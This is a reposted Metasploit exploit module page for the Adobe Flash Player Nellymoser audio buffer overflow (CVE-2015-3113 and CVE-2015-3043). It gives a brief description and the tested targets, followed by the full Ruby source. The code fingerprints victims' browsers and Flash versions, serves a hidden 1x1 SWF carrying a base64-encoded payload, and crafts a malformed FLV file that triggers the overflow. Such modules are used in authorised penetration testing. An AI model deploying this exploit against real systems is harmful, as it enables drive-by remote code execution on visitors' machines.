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Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow

Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow
Posted Jul 3, 2015
Authored by juan vazquez, temp66 | Site metasploit.com

This Metasploit module exploits a buffer overflow on Adobe Flash Player when handling nellymoser encoded audio inside a FLV video, as exploited in the wild on June 2015. This Metasploit module has been tested successfully on: Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.160, Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.160, Windows 8.1, Firefox 38.0.5 and Adobe Flash 18.0.0.160, Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.466, and Ubuntu 14.04.2 LTS, Firefox 35.01, and Adobe Flash 11.2.202.466. Note that this exploit is effective against both CVE-2015-3113 and the earlier CVE-2015-3043, since CVE-2015-3113 is effectively a regression to the same root cause as CVE-2015-3043.

tags | exploit, overflow, root
systems | linux, windows, ubuntu, 7
advisories | CVE-2015-3043, CVE-2015-3113
MD5 | cabe863f2b1b9fd7e8570e18144bfce0

Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow

Change Mirror Download
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking

include Msf::Exploit::Remote::BrowserExploitServer

def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player Nellymoser Audio Decoding Buffer Overflow',
'Description' => %q{
This module exploits a buffer overflow on Adobe Flash Player when handling nellymoser
encoded audio inside a FLV video, as exploited in the wild on June 2015. This module
has been tested successfully on:

Windows 7 SP1 (32-bit), IE11 and Adobe Flash 18.0.0.160,
Windows 7 SP1 (32-bit), Firefox 38.0.5 and Adobe Flash 18.0.0.160,
Windows 8.1, Firefox 38.0.5 and Adobe Flash 18.0.0.160,
Linux Mint "Rebecca" (32 bits), Firefox 33.0 and Adobe Flash 11.2.202.466, and
Ubuntu 14.04.2 LTS, Firefox 35.01, and Adobe Flash 11.2.202.466.

Note that this exploit is effective against both CVE-2015-3113 and the
earlier CVE-2015-3043, since CVE-2015-3113 is effectively a regression
to the same root cause as CVE-2015-3043.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Unknown', # Exploit in the wild
'juan vazquez' # msf module
],
'References' =>
[
['CVE', '2015-3043'],
['CVE', '2015-3113'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-06.html'],
['URL', 'https://helpx.adobe.com/security/products/flash-player/apsb15-14.html'],
['URL', 'http://blog.trendmicro.com/trendlabs-security-intelligence/new-adobe-zero-day-shares-same-root-cause-as-older-flaws/'],
['URL', 'http://malware.dontneedcoffee.com/2015/06/cve-2015-3113-flash-up-to-1800160-and.html'],
['URL', 'http://bobao.360.cn/learning/detail/357.html']
],
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['win', 'linux'],
'Arch' => [ARCH_X86],
'BrowserRequirements' =>
{
:source => /script|headers/i,
:arch => ARCH_X86,
:os_name => lambda do |os|
os =~ OperatingSystems::Match::LINUX ||
os =~ OperatingSystems::Match::WINDOWS_7 ||
os =~ OperatingSystems::Match::WINDOWS_81
end,
:ua_name => lambda do |ua|
case target.name
when 'Windows'
return true if ua == Msf::HttpClients::IE || ua == Msf::HttpClients::FF
when 'Linux'
return true if ua == Msf::HttpClients::FF
end

false
end,
:flash => lambda do |ver|
case target.name
when 'Windows'
return true if ver =~ /^18\./ && Gem::Version.new(ver) <= Gem::Version.new('18.0.0.161')
return true if ver =~ /^17\./ && Gem::Version.new(ver) != Gem::Version.new('17.0.0.169')
when 'Linux'
return true if ver =~ /^11\./ && Gem::Version.new(ver) <= Gem::Version.new('11.2.202.466') && Gem::Version.new(ver) != Gem::Version.new('11.2.202.457')
end

false
end
},
'Targets' =>
[
[ 'Windows',
{
'Platform' => 'win'
}
],
[ 'Linux',
{
'Platform' => 'linux'
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Jun 23 2015',
'DefaultTarget' => 0))
end

def exploit
@swf = create_swf
@flv = create_flv

super
end

def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")

if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end

if request.uri =~ /\.flv$/
print_status('Sending FLV...')
send_response(cli, @flv, {'Content-Type'=>'video/x-flv', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end

print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end

def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
b64_payload = Rex::Text.encode_base64(target_payload)
os_name = target_info[:os_name]

if target.name =~ /Windows/
platform_id = 'win'
elsif target.name =~ /Linux/
platform_id = 'linux'
end

html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>&os=<%=os_name%>" Play="true"/>
</object>
</body>
</html>
|

return html_template, binding()
end

def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2015-3113', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }

swf
end

def create_flv
header = ''
header << 'FLV' # signature
header << [1].pack('C') # version
header << [4].pack('C') # Flags: TypeFlagsAudio
header << [9].pack('N') # DataOffset

data = ''
data << "\x68" # fmt = 6 (Nellymoser), SoundRate: 2, SoundSize: 0, SoundType: 0
data << "\xee" * 0x440 # SoundData

tag1 = ''
tag1 << [8].pack('C') # TagType (audio)
tag1 << "\x00\x04\x41" # DataSize
tag1 << "\x00\x00\x1a" # TimeStamp
tag1 << [0].pack('C') # TimeStampExtended
tag1 << "\x00\x00\x00" # StreamID, always 0
tag1 << data

body = ''
body << [0].pack('N') # PreviousTagSize
body << tag1
body << [0xeeeeeeee].pack('N') # PreviousTagSize

flv = ''
flv << header
flv << body

flv
end
end

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